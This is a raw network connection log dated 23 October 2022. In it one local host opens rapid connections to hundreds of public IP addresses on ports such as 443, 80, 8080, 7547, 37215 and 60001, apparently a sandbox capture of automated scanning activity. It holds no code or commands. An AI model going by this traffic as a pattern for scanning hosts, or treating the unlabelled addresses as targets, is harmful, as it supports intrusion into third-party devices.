Oct 23, 2022 17:56:37.058109045 CEST	20351	443	192.168.2.23	5.224.199.56
Oct 23, 2022 17:56:37.058118105 CEST	20351	443	192.168.2.23	123.255.14.73
Oct 23, 2022 17:56:37.058121920 CEST	20351	443	192.168.2.23	210.161.66.200
Oct 23, 2022 17:56:37.058130026 CEST	20351	443	192.168.2.23	42.6.94.132
Oct 23, 2022 17:56:37.058132887 CEST	443	20351	42.26.66.196	192.168.2.23
Oct 23, 2022 17:56:37.058146000 CEST	20351	443	192.168.2.23	212.129.164.233
Oct 23, 2022 17:56:37.058156967 CEST	20337	60001	192.168.2.23	189.34.219.184
Oct 23, 2022 17:56:37.058159113 CEST	20351	443	192.168.2.23	109.108.30.173
Oct 23, 2022 17:56:37.058173895 CEST	20351	443	192.168.2.23	42.26.66.196
Oct 23, 2022 17:56:37.058187008 CEST	20351	443	192.168.2.23	148.250.142.138
Oct 23, 2022 17:56:37.058199883 CEST	443	20351	148.250.142.138	192.168.2.23
Oct 23, 2022 17:56:37.058207989 CEST	20351	443	192.168.2.23	202.231.142.11
Oct 23, 2022 17:56:37.058218002 CEST	20351	443	192.168.2.23	212.58.186.141
Oct 23, 2022 17:56:37.058223963 CEST	20351	443	192.168.2.23	210.1.54.205
Oct 23, 2022 17:56:37.058223963 CEST	20351	443	192.168.2.23	117.231.52.102
Oct 23, 2022 17:56:37.058243036 CEST	443	20351	212.58.186.141	192.168.2.23
Oct 23, 2022 17:56:37.058243990 CEST	20351	443	192.168.2.23	37.147.29.235
Oct 23, 2022 17:56:37.058243990 CEST	20351	443	192.168.2.23	109.162.62.59
Oct 23, 2022 17:56:37.058248043 CEST	443	20351	210.1.54.205	192.168.2.23
Oct 23, 2022 17:56:37.058247089 CEST	443	20351	202.231.142.11	192.168.2.23
Oct 23, 2022 17:56:37.058259010 CEST	443	20351	117.231.52.102	192.168.2.23
Oct 23, 2022 17:56:37.058259010 CEST	20351	443	192.168.2.23	148.250.142.138
Oct 23, 2022 17:56:37.058264971 CEST	443	20351	37.147.29.235	192.168.2.23
Oct 23, 2022 17:56:37.058267117 CEST	443	20351	109.162.62.59	192.168.2.23
Oct 23, 2022 17:56:37.058274031 CEST	20351	443	192.168.2.23	37.122.174.104
Oct 23, 2022 17:56:37.058279037 CEST	20337	80	192.168.2.23	89.164.203.21
Oct 23, 2022 17:56:37.058286905 CEST	20337	8080	192.168.2.23	185.215.29.98
Oct 23, 2022 17:56:37.058286905 CEST	20351	443	192.168.2.23	210.1.54.205
Oct 23, 2022 17:56:37.058309078 CEST	443	20351	37.122.174.104	192.168.2.23
Oct 23, 2022 17:56:37.058310032 CEST	20351	443	192.168.2.23	212.58.186.141
Oct 23, 2022 17:56:37.058329105 CEST	20351	443	192.168.2.23	202.231.142.11
Oct 23, 2022 17:56:37.058355093 CEST	20351	443	192.168.2.23	117.231.52.102
Oct 23, 2022 17:56:37.058357000 CEST	20351	443	192.168.2.23	109.162.62.59
Oct 23, 2022 17:56:37.058363914 CEST	20351	443	192.168.2.23	37.147.29.235
Oct 23, 2022 17:56:37.058386087 CEST	20351	443	192.168.2.23	37.122.174.104
Oct 23, 2022 17:56:37.058410883 CEST	20351	443	192.168.2.23	42.99.72.217
Oct 23, 2022 17:56:37.058422089 CEST	20351	443	192.168.2.23	148.206.158.113
Oct 23, 2022 17:56:37.058429956 CEST	20351	443	192.168.2.23	42.75.6.144
Oct 23, 2022 17:56:37.058429956 CEST	20351	443	192.168.2.23	123.135.17.129
Oct 23, 2022 17:56:37.058433056 CEST	443	20351	42.99.72.217	192.168.2.23
Oct 23, 2022 17:56:37.058434010 CEST	20351	443	192.168.2.23	148.39.1.94
Oct 23, 2022 17:56:37.058443069 CEST	443	20351	148.206.158.113	192.168.2.23
Oct 23, 2022 17:56:37.058448076 CEST	443	20351	148.39.1.94	192.168.2.23
Oct 23, 2022 17:56:37.058454990 CEST	443	20351	42.75.6.144	192.168.2.23
Oct 23, 2022 17:56:37.058460951 CEST	20351	443	192.168.2.23	123.126.166.144
Oct 23, 2022 17:56:37.058463097 CEST	20351	443	192.168.2.23	123.122.14.212
Oct 23, 2022 17:56:37.058461905 CEST	20351	443	192.168.2.23	210.240.144.210
Oct 23, 2022 17:56:37.058463097 CEST	20351	443	192.168.2.23	5.128.43.223
Oct 23, 2022 17:56:37.058475018 CEST	443	20351	123.135.17.129	192.168.2.23
Oct 23, 2022 17:56:37.058479071 CEST	20351	443	192.168.2.23	94.24.144.228
Oct 23, 2022 17:56:37.058479071 CEST	20351	443	192.168.2.23	42.99.72.217
Oct 23, 2022 17:56:37.058489084 CEST	443	20351	123.122.14.212	192.168.2.23
Oct 23, 2022 17:56:37.058499098 CEST	20351	443	192.168.2.23	148.206.158.113
Oct 23, 2022 17:56:37.058501005 CEST	443	20351	94.24.144.228	192.168.2.23
Oct 23, 2022 17:56:37.058501959 CEST	443	20351	123.126.166.144	192.168.2.23
Oct 23, 2022 17:56:37.058510065 CEST	443	20351	5.128.43.223	192.168.2.23
Oct 23, 2022 17:56:37.058516979 CEST	20351	443	192.168.2.23	42.75.6.144
Oct 23, 2022 17:56:37.058516979 CEST	20351	443	192.168.2.23	123.135.17.129
Oct 23, 2022 17:56:37.058520079 CEST	20351	443	192.168.2.23	178.188.64.78
Oct 23, 2022 17:56:37.058526039 CEST	20351	443	192.168.2.23	148.39.1.94
Oct 23, 2022 17:56:37.058532000 CEST	20351	443	192.168.2.23	5.187.213.151
Oct 23, 2022 17:56:37.058532000 CEST	20351	443	192.168.2.23	123.122.14.212
Oct 23, 2022 17:56:37.058535099 CEST	443	20351	210.240.144.210	192.168.2.23
Oct 23, 2022 17:56:37.058538914 CEST	443	20351	178.188.64.78	192.168.2.23
Oct 23, 2022 17:56:37.058548927 CEST	20337	37215	192.168.2.23	198.133.194.217
Oct 23, 2022 17:56:37.058552980 CEST	443	20351	5.187.213.151	192.168.2.23
Oct 23, 2022 17:56:37.058567047 CEST	20351	443	192.168.2.23	94.24.144.228
Oct 23, 2022 17:56:37.058588028 CEST	20351	443	192.168.2.23	5.128.43.223
Oct 23, 2022 17:56:37.058588028 CEST	20351	443	192.168.2.23	5.187.213.151
Oct 23, 2022 17:56:37.058590889 CEST	20351	443	192.168.2.23	178.188.64.78
Oct 23, 2022 17:56:37.058589935 CEST	20351	443	192.168.2.23	210.240.144.210
Oct 23, 2022 17:56:37.058590889 CEST	20351	443	192.168.2.23	123.126.166.144
Oct 23, 2022 17:56:37.058598042 CEST	20337	80	192.168.2.23	156.250.161.14
Oct 23, 2022 17:56:37.058608055 CEST	20337	80	192.168.2.23	132.208.235.24
Oct 23, 2022 17:56:37.058615923 CEST	20337	80	192.168.2.23	84.114.144.61
Oct 23, 2022 17:56:37.058779955 CEST	20351	443	192.168.2.23	2.205.250.37
Oct 23, 2022 17:56:37.058795929 CEST	20351	443	192.168.2.23	202.148.165.175
Oct 23, 2022 17:56:37.058798075 CEST	20351	443	192.168.2.23	37.125.248.80
Oct 23, 2022 17:56:37.058799982 CEST	20351	443	192.168.2.23	2.82.226.206
Oct 23, 2022 17:56:37.058799982 CEST	443	20351	2.205.250.37	192.168.2.23
Oct 23, 2022 17:56:37.058799982 CEST	20351	443	192.168.2.23	5.16.96.88
Oct 23, 2022 17:56:37.058799982 CEST	20351	443	192.168.2.23	123.201.160.1
Oct 23, 2022 17:56:37.058799982 CEST	20351	443	192.168.2.23	118.190.188.137
Oct 23, 2022 17:56:37.058809042 CEST	443	20351	202.148.165.175	192.168.2.23
Oct 23, 2022 17:56:37.058811903 CEST	20351	443	192.168.2.23	148.179.2.10
Oct 23, 2022 17:56:37.058821917 CEST	20351	443	192.168.2.23	42.161.245.188
Oct 23, 2022 17:56:37.058823109 CEST	443	20351	37.125.248.80	192.168.2.23
Oct 23, 2022 17:56:37.058830023 CEST	20351	443	192.168.2.23	5.123.41.177
Oct 23, 2022 17:56:37.058834076 CEST	443	20351	2.82.226.206	192.168.2.23
Oct 23, 2022 17:56:37.058837891 CEST	443	20351	148.179.2.10	192.168.2.23
Oct 23, 2022 17:56:37.058841944 CEST	20351	443	192.168.2.23	202.226.167.225
Oct 23, 2022 17:56:37.058841944 CEST	20351	443	192.168.2.23	118.253.169.164
Oct 23, 2022 17:56:37.058846951 CEST	443	20351	42.161.245.188	192.168.2.23
Oct 23, 2022 17:56:37.058850050 CEST	20351	443	192.168.2.23	212.219.27.100
Oct 23, 2022 17:56:37.058854103 CEST	443	20351	5.123.41.177	192.168.2.23
Oct 23, 2022 17:56:37.058857918 CEST	443	20351	5.16.96.88	192.168.2.23
Oct 23, 2022 17:56:37.058860064 CEST	20351	443	192.168.2.23	202.148.165.175
Oct 23, 2022 17:56:37.058865070 CEST	20351	443	192.168.2.23	94.221.243.207
Oct 23, 2022 17:56:37.058865070 CEST	20351	443	192.168.2.23	37.12.44.67
Oct 23, 2022 17:56:37.058867931 CEST	443	20351	202.226.167.225	192.168.2.23
Oct 23, 2022 17:56:37.058870077 CEST	443	20351	212.219.27.100	192.168.2.23
Oct 23, 2022 17:56:37.058875084 CEST	20351	443	192.168.2.23	178.45.80.235
Oct 23, 2022 17:56:37.058876991 CEST	20351	443	192.168.2.23	2.205.250.37
Oct 23, 2022 17:56:37.058878899 CEST	443	20351	123.201.160.1	192.168.2.23
Oct 23, 2022 17:56:37.058887959 CEST	443	20351	94.221.243.207	192.168.2.23
Oct 23, 2022 17:56:37.058891058 CEST	443	20351	118.253.169.164	192.168.2.23
Oct 23, 2022 17:56:37.058892012 CEST	20351	443	192.168.2.23	42.161.245.188
Oct 23, 2022 17:56:37.058892965 CEST	443	20351	118.190.188.137	192.168.2.23
Oct 23, 2022 17:56:37.058907986 CEST	443	20351	178.45.80.235	192.168.2.23
Oct 23, 2022 17:56:37.058909893 CEST	443	20351	37.12.44.67	192.168.2.23
Oct 23, 2022 17:56:37.058913946 CEST	20351	443	192.168.2.23	42.27.217.8
Oct 23, 2022 17:56:37.058918953 CEST	20351	443	192.168.2.23	79.132.152.204
Oct 23, 2022 17:56:37.058918953 CEST	20351	443	192.168.2.23	212.219.27.100
Oct 23, 2022 17:56:37.058931112 CEST	443	20351	79.132.152.204	192.168.2.23
Oct 23, 2022 17:56:37.058933973 CEST	20351	443	192.168.2.23	37.125.248.80
Oct 23, 2022 17:56:37.058933973 CEST	20351	443	192.168.2.23	202.226.167.225
Oct 23, 2022 17:56:37.058933973 CEST	20351	443	192.168.2.23	117.129.129.210
Oct 23, 2022 17:56:37.058937073 CEST	20351	443	192.168.2.23	2.82.226.206
Oct 23, 2022 17:56:37.058938980 CEST	20351	443	192.168.2.23	109.42.186.4
Oct 23, 2022 17:56:37.058938026 CEST	20351	443	192.168.2.23	5.16.96.88
Oct 23, 2022 17:56:37.058936119 CEST	443	20351	42.27.217.8	192.168.2.23
Oct 23, 2022 17:56:37.058938026 CEST	20351	443	192.168.2.23	123.201.160.1
Oct 23, 2022 17:56:37.058938980 CEST	20351	443	192.168.2.23	5.123.41.177
Oct 23, 2022 17:56:37.058957100 CEST	20351	443	192.168.2.23	148.179.2.10
Oct 23, 2022 17:56:37.058957100 CEST	20351	443	192.168.2.23	123.113.197.162
Oct 23, 2022 17:56:37.058958054 CEST	20351	443	192.168.2.23	94.221.243.207
Oct 23, 2022 17:56:37.058958054 CEST	20351	443	192.168.2.23	37.12.44.67
Oct 23, 2022 17:56:37.058964968 CEST	443	20351	117.129.129.210	192.168.2.23
Oct 23, 2022 17:56:37.058965921 CEST	443	20351	109.42.186.4	192.168.2.23
Oct 23, 2022 17:56:37.058964968 CEST	20351	443	192.168.2.23	123.200.109.106
Oct 23, 2022 17:56:37.058964968 CEST	20351	443	192.168.2.23	178.45.80.235
Oct 23, 2022 17:56:37.058986902 CEST	20351	443	192.168.2.23	118.253.169.164
Oct 23, 2022 17:56:37.058989048 CEST	443	20351	123.113.197.162	192.168.2.23
Oct 23, 2022 17:56:37.058994055 CEST	20351	443	192.168.2.23	118.190.188.137
Oct 23, 2022 17:56:37.058999062 CEST	20351	443	192.168.2.23	42.27.217.8
Oct 23, 2022 17:56:37.059001923 CEST	443	20351	123.200.109.106	192.168.2.23
Oct 23, 2022 17:56:37.059010029 CEST	20351	443	192.168.2.23	178.130.61.150
Oct 23, 2022 17:56:37.059020042 CEST	20351	443	192.168.2.23	109.42.186.4
Oct 23, 2022 17:56:37.059020042 CEST	20351	443	192.168.2.23	109.242.127.54
Oct 23, 2022 17:56:37.059020042 CEST	20351	443	192.168.2.23	109.228.2.127
Oct 23, 2022 17:56:37.059026003 CEST	443	20351	178.130.61.150	192.168.2.23
Oct 23, 2022 17:56:37.059036970 CEST	20351	443	192.168.2.23	79.132.152.204
Oct 23, 2022 17:56:37.059039116 CEST	20351	443	192.168.2.23	123.200.109.106
Oct 23, 2022 17:56:37.059041977 CEST	20351	443	192.168.2.23	123.113.197.162
Oct 23, 2022 17:56:37.059043884 CEST	20351	443	192.168.2.23	117.129.129.210
Oct 23, 2022 17:56:37.059046984 CEST	20351	443	192.168.2.23	148.214.116.107
Oct 23, 2022 17:56:37.059051037 CEST	443	20351	109.242.127.54	192.168.2.23
Oct 23, 2022 17:56:37.059061050 CEST	20351	443	192.168.2.23	148.1.157.175
Oct 23, 2022 17:56:37.059062004 CEST	443	20351	148.214.116.107	192.168.2.23
Oct 23, 2022 17:56:37.059072971 CEST	443	20351	109.228.2.127	192.168.2.23
Oct 23, 2022 17:56:37.059073925 CEST	20351	443	192.168.2.23	94.151.15.100
Oct 23, 2022 17:56:37.059073925 CEST	20351	443	192.168.2.23	178.130.61.150
Oct 23, 2022 17:56:37.059073925 CEST	20351	443	192.168.2.23	202.24.139.78
Oct 23, 2022 17:56:37.059075117 CEST	20351	443	192.168.2.23	212.181.120.244
Oct 23, 2022 17:56:37.059078932 CEST	20351	443	192.168.2.23	210.35.80.23
Oct 23, 2022 17:56:37.059082031 CEST	443	20351	148.1.157.175	192.168.2.23
Oct 23, 2022 17:56:37.059087992 CEST	20351	443	192.168.2.23	202.0.246.77
Oct 23, 2022 17:56:37.059094906 CEST	20351	443	192.168.2.23	109.242.127.54
Oct 23, 2022 17:56:37.059098005 CEST	443	20351	94.151.15.100	192.168.2.23
Oct 23, 2022 17:56:37.059103966 CEST	443	20351	202.24.139.78	192.168.2.23
Oct 23, 2022 17:56:37.059109926 CEST	443	20351	210.35.80.23	192.168.2.23
Oct 23, 2022 17:56:37.059115887 CEST	20351	443	192.168.2.23	148.214.116.107
Oct 23, 2022 17:56:37.059115887 CEST	443	20351	202.0.246.77	192.168.2.23
Oct 23, 2022 17:56:37.059129000 CEST	20351	443	192.168.2.23	109.228.2.127
Oct 23, 2022 17:56:37.059137106 CEST	443	20351	212.181.120.244	192.168.2.23
Oct 23, 2022 17:56:37.059138060 CEST	20351	443	192.168.2.23	148.1.157.175
Oct 23, 2022 17:56:37.059155941 CEST	20351	443	192.168.2.23	202.24.139.78
Oct 23, 2022 17:56:37.059164047 CEST	20351	443	192.168.2.23	210.35.80.23
Oct 23, 2022 17:56:37.059171915 CEST	20351	443	192.168.2.23	94.151.15.100
Oct 23, 2022 17:56:37.059179068 CEST	20351	443	192.168.2.23	202.0.246.77
Oct 23, 2022 17:56:37.059185028 CEST	20351	443	192.168.2.23	212.181.120.244
Oct 23, 2022 17:56:37.059200048 CEST	20337	60001	192.168.2.23	88.164.160.10
Oct 23, 2022 17:56:37.059201956 CEST	20337	80	192.168.2.23	143.98.40.145
Oct 23, 2022 17:56:37.059226990 CEST	20337	37215	192.168.2.23	76.61.167.253
Oct 23, 2022 17:56:37.059242964 CEST	20337	7547	192.168.2.23	41.74.81.85
Oct 23, 2022 17:56:37.059243917 CEST	20337	37215	192.168.2.23	166.58.69.205
Oct 23, 2022 17:56:37.059254885 CEST	20337	37215	192.168.2.23	156.38.6.233
Oct 23, 2022 17:56:37.059267044 CEST	20337	80	192.168.2.23	101.223.202.216
Oct 23, 2022 17:56:37.059269905 CEST	20337	37215	192.168.2.23	59.254.45.173
Oct 23, 2022 17:56:37.059284925 CEST	20337	37215	192.168.2.23	41.111.166.95
Oct 23, 2022 17:56:37.059284925 CEST	20337	37215	192.168.2.23	62.194.3.30
Oct 23, 2022 17:56:37.059292078 CEST	20337	8080	192.168.2.23	198.249.74.227
Oct 23, 2022 17:56:37.059303999 CEST	20337	37215	192.168.2.23	156.210.231.27
Oct 23, 2022 17:56:37.059308052 CEST	20337	60001	192.168.2.23	221.60.255.79
Oct 23, 2022 17:56:37.059314013 CEST	20337	37215	192.168.2.23	189.134.43.39
Oct 23, 2022 17:56:37.059324026 CEST	20337	60001	192.168.2.23	93.178.155.63
Oct 23, 2022 17:56:37.059333086 CEST	20337	37215	192.168.2.23	32.216.34.235
Oct 23, 2022 17:56:37.059333086 CEST	20337	80	192.168.2.23	197.152.44.176
Oct 23, 2022 17:56:37.059335947 CEST	20337	8080	192.168.2.23	156.223.110.118
Oct 23, 2022 17:56:37.059362888 CEST	20337	8080	192.168.2.23	67.42.105.202
Oct 23, 2022 17:56:37.059362888 CEST	20337	60001	192.168.2.23	156.72.179.104
Oct 23, 2022 17:56:37.059364080 CEST	20337	7547	192.168.2.23	31.124.175.229
Oct 23, 2022 17:56:37.059365034 CEST	20337	60001	192.168.2.23	70.231.81.91
Oct 23, 2022 17:56:37.059371948 CEST	20337	37215	192.168.2.23	54.190.12.22
Oct 23, 2022 17:56:37.059371948 CEST	20337	80	192.168.2.23	70.244.129.244
Oct 23, 2022 17:56:37.059391022 CEST	20337	37215	192.168.2.23	122.253.40.43
Oct 23, 2022 17:56:37.059401035 CEST	20337	60001	192.168.2.23	41.99.225.192
Oct 23, 2022 17:56:37.059401035 CEST	20337	80	192.168.2.23	150.159.20.114
Oct 23, 2022 17:56:37.059406042 CEST	20337	80	192.168.2.23	132.14.80.96
Oct 23, 2022 17:56:37.059425116 CEST	20337	60001	192.168.2.23	182.126.182.121
Oct 23, 2022 17:56:37.059431076 CEST	20337	80	192.168.2.23	79.187.24.35
Oct 23, 2022 17:56:37.059434891 CEST	20337	37215	192.168.2.23	93.49.172.170
Oct 23, 2022 17:56:37.059436083 CEST	20337	60001	192.168.2.23	101.8.51.255
Oct 23, 2022 17:56:37.059436083 CEST	20337	7547	192.168.2.23	41.36.179.179
Oct 23, 2022 17:56:37.059436083 CEST	20337	8080	192.168.2.23	116.32.222.237
Oct 23, 2022 17:56:37.059464931 CEST	20337	60001	192.168.2.23	197.51.161.224
Oct 23, 2022 17:56:37.059469938 CEST	20337	37215	192.168.2.23	142.192.18.179
Oct 23, 2022 17:56:37.059469938 CEST	20337	60001	192.168.2.23	135.216.109.188
Oct 23, 2022 17:56:37.059474945 CEST	20337	8080	192.168.2.23	72.181.51.248
Oct 23, 2022 17:56:37.059499025 CEST	20351	443	192.168.2.23	212.123.78.152
Oct 23, 2022 17:56:37.059513092 CEST	20351	443	192.168.2.23	123.126.104.194
Oct 23, 2022 17:56:37.059514046 CEST	20351	443	192.168.2.23	42.62.68.157
Oct 23, 2022 17:56:37.059514046 CEST	20351	443	192.168.2.23	123.44.106.83
Oct 23, 2022 17:56:37.059525013 CEST	443	20351	212.123.78.152	192.168.2.23
Oct 23, 2022 17:56:37.059530973 CEST	443	20351	42.62.68.157	192.168.2.23
Oct 23, 2022 17:56:37.059535027 CEST	443	20351	123.126.104.194	192.168.2.23
Oct 23, 2022 17:56:37.059535980 CEST	20351	443	192.168.2.23	37.212.209.222
Oct 23, 2022 17:56:37.059544086 CEST	443	20351	123.44.106.83	192.168.2.23
Oct 23, 2022 17:56:37.059544086 CEST	20351	443	192.168.2.23	118.36.145.80
Oct 23, 2022 17:56:37.059544086 CEST	20351	443	192.168.2.23	79.126.231.183
Oct 23, 2022 17:56:37.059545994 CEST	20351	443	192.168.2.23	178.98.35.104
Oct 23, 2022 17:56:37.059559107 CEST	443	20351	37.212.209.222	192.168.2.23
Oct 23, 2022 17:56:37.059561014 CEST	443	20351	178.98.35.104	192.168.2.23
Oct 23, 2022 17:56:37.059566975 CEST	20351	443	192.168.2.23	178.54.96.71
Oct 23, 2022 17:56:37.059571981 CEST	443	20351	118.36.145.80	192.168.2.23
Oct 23, 2022 17:56:37.059571981 CEST	20351	443	192.168.2.23	42.62.68.157
Oct 23, 2022 17:56:37.059573889 CEST	20351	443	192.168.2.23	94.43.197.0
Oct 23, 2022 17:56:37.059573889 CEST	20351	443	192.168.2.23	148.60.102.77
Oct 23, 2022 17:56:37.059577942 CEST	20351	443	192.168.2.23	202.168.228.58
Oct 23, 2022 17:56:37.059583902 CEST	443	20351	178.54.96.71	192.168.2.23
Oct 23, 2022 17:56:37.059592962 CEST	443	20351	79.126.231.183	192.168.2.23
Oct 23, 2022 17:56:37.059595108 CEST	443	20351	202.168.228.58	192.168.2.23
Oct 23, 2022 17:56:37.059601068 CEST	20351	443	192.168.2.23	37.120.67.92
Oct 23, 2022 17:56:37.059602976 CEST	20351	443	192.168.2.23	212.123.78.152
Oct 23, 2022 17:56:37.059607029 CEST	20351	443	192.168.2.23	123.126.104.194
Oct 23, 2022 17:56:37.059607983 CEST	20351	443	192.168.2.23	210.168.122.237
Oct 23, 2022 17:56:37.059612036 CEST	443	20351	94.43.197.0	192.168.2.23
Oct 23, 2022 17:56:37.059622049 CEST	443	20351	37.120.67.92	192.168.2.23
Oct 23, 2022 17:56:37.059626102 CEST	20351	443	192.168.2.23	178.98.35.104
Oct 23, 2022 17:56:37.059628010 CEST	20351	443	192.168.2.23	123.44.106.83
Oct 23, 2022 17:56:37.059634924 CEST	443	20351	210.168.122.237	192.168.2.23
Oct 23, 2022 17:56:37.059640884 CEST	20351	443	192.168.2.23	79.126.231.183
Oct 23, 2022 17:56:37.059640884 CEST	20337	60001	192.168.2.23	72.246.119.54
Oct 23, 2022 17:56:37.059640884 CEST	20351	443	192.168.2.23	118.36.145.80
Oct 23, 2022 17:56:37.059650898 CEST	443	20351	148.60.102.77	192.168.2.23
Oct 23, 2022 17:56:37.059659958 CEST	20337	80	192.168.2.23	197.145.240.180
Oct 23, 2022 17:56:37.059660912 CEST	20351	443	192.168.2.23	37.212.209.222
Oct 23, 2022 17:56:37.059663057 CEST	20351	443	192.168.2.23	202.168.228.58
Oct 23, 2022 17:56:37.059669971 CEST	20351	443	192.168.2.23	178.54.96.71
Oct 23, 2022 17:56:37.059669971 CEST	20337	60001	192.168.2.23	156.76.181.8
Oct 23, 2022 17:56:37.059681892 CEST	20337	37215	192.168.2.23	70.45.102.229
Oct 23, 2022 17:56:37.059686899 CEST	20337	60001	192.168.2.23	197.190.248.119
Oct 23, 2022 17:56:37.059703112 CEST	20337	60001	192.168.2.23	99.178.112.182
Oct 23, 2022 17:56:37.059708118 CEST	20337	8080	192.168.2.23	93.219.193.182
Oct 23, 2022 17:56:37.059710979 CEST	20337	60001	192.168.2.23	176.39.106.213
Oct 23, 2022 17:56:37.059710979 CEST	20337	37215	192.168.2.23	167.204.128.153
Oct 23, 2022 17:56:37.059710979 CEST	20337	8080	192.168.2.23	184.200.60.226
Oct 23, 2022 17:56:37.059720993 CEST	20351	443	192.168.2.23	37.120.67.92
Oct 23, 2022 17:56:37.059727907 CEST	20351	443	192.168.2.23	210.168.122.237
Oct 23, 2022 17:56:37.059730053 CEST	20337	37215	192.168.2.23	204.184.66.196
Oct 23, 2022 17:56:37.059730053 CEST	20351	443	192.168.2.23	148.60.102.77
Oct 23, 2022 17:56:37.059730053 CEST	20351	443	192.168.2.23	94.43.197.0
Oct 23, 2022 17:56:37.059746981 CEST	20337	60001	192.168.2.23	99.252.236.176
Oct 23, 2022 17:56:37.059747934 CEST	20337	60001	192.168.2.23	156.241.139.187
Oct 23, 2022 17:56:37.059748888 CEST	20337	80	192.168.2.23	216.54.47.44
Oct 23, 2022 17:56:37.059782982 CEST	20351	443	192.168.2.23	94.230.168.164
Oct 23, 2022 17:56:37.059782982 CEST	20351	443	192.168.2.23	148.224.100.125
Oct 23, 2022 17:56:37.059782982 CEST	20351	443	192.168.2.23	212.146.3.88
Oct 23, 2022 17:56:37.059804916 CEST	20351	443	192.168.2.23	109.6.134.18
Oct 23, 2022 17:56:37.059804916 CEST	20351	443	192.168.2.23	5.44.73.25
Oct 23, 2022 17:56:37.059813976 CEST	443	20351	94.230.168.164	192.168.2.23
Oct 23, 2022 17:56:37.059818029 CEST	20351	443	192.168.2.23	210.254.12.125
Oct 23, 2022 17:56:37.059834003 CEST	20351	443	192.168.2.23	2.154.91.108
Oct 23, 2022 17:56:37.059834003 CEST	20351	443	192.168.2.23	123.150.199.39
Oct 23, 2022 17:56:37.059834003 CEST	20351	443	192.168.2.23	212.207.190.220
Oct 23, 2022 17:56:37.059835911 CEST	443	20351	109.6.134.18	192.168.2.23
Oct 23, 2022 17:56:37.059839010 CEST	443	20351	148.224.100.125	192.168.2.23
Oct 23, 2022 17:56:37.059839964 CEST	443	20351	210.254.12.125	192.168.2.23
Oct 23, 2022 17:56:37.059849024 CEST	443	20351	2.154.91.108	192.168.2.23
Oct 23, 2022 17:56:37.059854984 CEST	443	20351	123.150.199.39	192.168.2.23
Oct 23, 2022 17:56:37.059860945 CEST	443	20351	212.146.3.88	192.168.2.23
Oct 23, 2022 17:56:37.059860945 CEST	443	20351	5.44.73.25	192.168.2.23
Oct 23, 2022 17:56:37.059866905 CEST	443	20351	212.207.190.220	192.168.2.23
Oct 23, 2022 17:56:37.059875965 CEST	20351	443	192.168.2.23	178.109.182.131
Oct 23, 2022 17:56:37.059875965 CEST	20337	60001	192.168.2.23	93.235.206.27
Oct 23, 2022 17:56:37.059879065 CEST	20351	443	192.168.2.23	94.230.168.164
Oct 23, 2022 17:56:37.059879065 CEST	20351	443	192.168.2.23	148.224.100.125
Oct 23, 2022 17:56:37.059895039 CEST	20351	443	192.168.2.23	210.254.12.125
Oct 23, 2022 17:56:37.059896946 CEST	20337	80	192.168.2.23	156.97.160.2
Oct 23, 2022 17:56:37.059897900 CEST	443	20351	178.109.182.131	192.168.2.23
Oct 23, 2022 17:56:37.059906960 CEST	20351	443	192.168.2.23	212.146.3.88
Oct 23, 2022 17:56:37.059906960 CEST	20337	80	192.168.2.23	159.195.1.9
Oct 23, 2022 17:56:37.059931040 CEST	20351	443	192.168.2.23	123.150.199.39
Oct 23, 2022 17:56:37.059931993 CEST	20351	443	192.168.2.23	212.207.190.220
Oct 23, 2022 17:56:37.059935093 CEST	20351	443	192.168.2.23	109.6.134.18
Oct 23, 2022 17:56:37.059935093 CEST	20351	443	192.168.2.23	5.44.73.25
Oct 23, 2022 17:56:37.059942007 CEST	20351	443	192.168.2.23	2.154.91.108
Oct 23, 2022 17:56:37.059951067 CEST	20337	80	192.168.2.23	62.255.238.236
Oct 23, 2022 17:56:37.059951067 CEST	20337	80	192.168.2.23	212.81.154.183
Oct 23, 2022 17:56:37.059951067 CEST	20337	80	192.168.2.23	149.30.217.180
Oct 23, 2022 17:56:37.059954882 CEST	20351	443	192.168.2.23	178.109.182.131
Oct 23, 2022 17:56:37.059959888 CEST	20337	37215	192.168.2.23	192.97.56.3
Oct 23, 2022 17:56:37.059961081 CEST	20337	80	192.168.2.23	221.172.210.3
Oct 23, 2022 17:56:37.060009956 CEST	20337	37215	192.168.2.23	197.247.160.145
Oct 23, 2022 17:56:37.060009956 CEST	20351	443	192.168.2.23	123.82.42.25
Oct 23, 2022 17:56:37.060009956 CEST	20351	443	192.168.2.23	117.167.79.91
Oct 23, 2022 17:56:37.060023069 CEST	20351	443	192.168.2.23	178.108.121.38
Oct 23, 2022 17:56:37.060028076 CEST	443	20351	117.167.79.91	192.168.2.23
Oct 23, 2022 17:56:37.060031891 CEST	20351	443	192.168.2.23	109.16.165.116
Oct 23, 2022 17:56:37.060033083 CEST	443	20351	123.82.42.25	192.168.2.23
Oct 23, 2022 17:56:37.060033083 CEST	20351	443	192.168.2.23	123.19.63.149
Oct 23, 2022 17:56:37.060033083 CEST	20351	443	192.168.2.23	5.148.145.48
Oct 23, 2022 17:56:37.060051918 CEST	443	20351	123.19.63.149	192.168.2.23
Oct 23, 2022 17:56:37.060055017 CEST	443	20351	178.108.121.38	192.168.2.23
Oct 23, 2022 17:56:37.060055017 CEST	20351	443	192.168.2.23	123.110.184.117
Oct 23, 2022 17:56:37.060055017 CEST	20351	443	192.168.2.23	5.182.154.212
Oct 23, 2022 17:56:37.060059071 CEST	443	20351	109.16.165.116	192.168.2.23
Oct 23, 2022 17:56:37.060061932 CEST	20351	443	192.168.2.23	117.114.88.18
Oct 23, 2022 17:56:37.060071945 CEST	443	20351	5.148.145.48	192.168.2.23
Oct 23, 2022 17:56:37.060075045 CEST	20351	443	192.168.2.23	123.82.42.25
Oct 23, 2022 17:56:37.060082912 CEST	443	20351	123.110.184.117	192.168.2.23
Oct 23, 2022 17:56:37.060084105 CEST	443	20351	117.114.88.18	192.168.2.23
Oct 23, 2022 17:56:37.060082912 CEST	20351	443	192.168.2.23	42.168.144.206
Oct 23, 2022 17:56:37.060091019 CEST	20351	443	192.168.2.23	117.167.79.91
Oct 23, 2022 17:56:37.060091019 CEST	20337	60001	192.168.2.23	174.219.247.124
Oct 23, 2022 17:56:37.060096025 CEST	443	20351	5.182.154.212	192.168.2.23
Oct 23, 2022 17:56:37.060101032 CEST	20351	443	192.168.2.23	123.19.63.149
Oct 23, 2022 17:56:37.060102940 CEST	443	20351	42.168.144.206	192.168.2.23
Oct 23, 2022 17:56:37.060108900 CEST	20337	60001	192.168.2.23	176.217.193.177
Oct 23, 2022 17:56:37.060122013 CEST	20351	443	192.168.2.23	123.110.184.117
Oct 23, 2022 17:56:37.060125113 CEST	20337	8080	192.168.2.23	176.236.193.48
Oct 23, 2022 17:56:37.060125113 CEST	20351	443	192.168.2.23	109.16.165.116
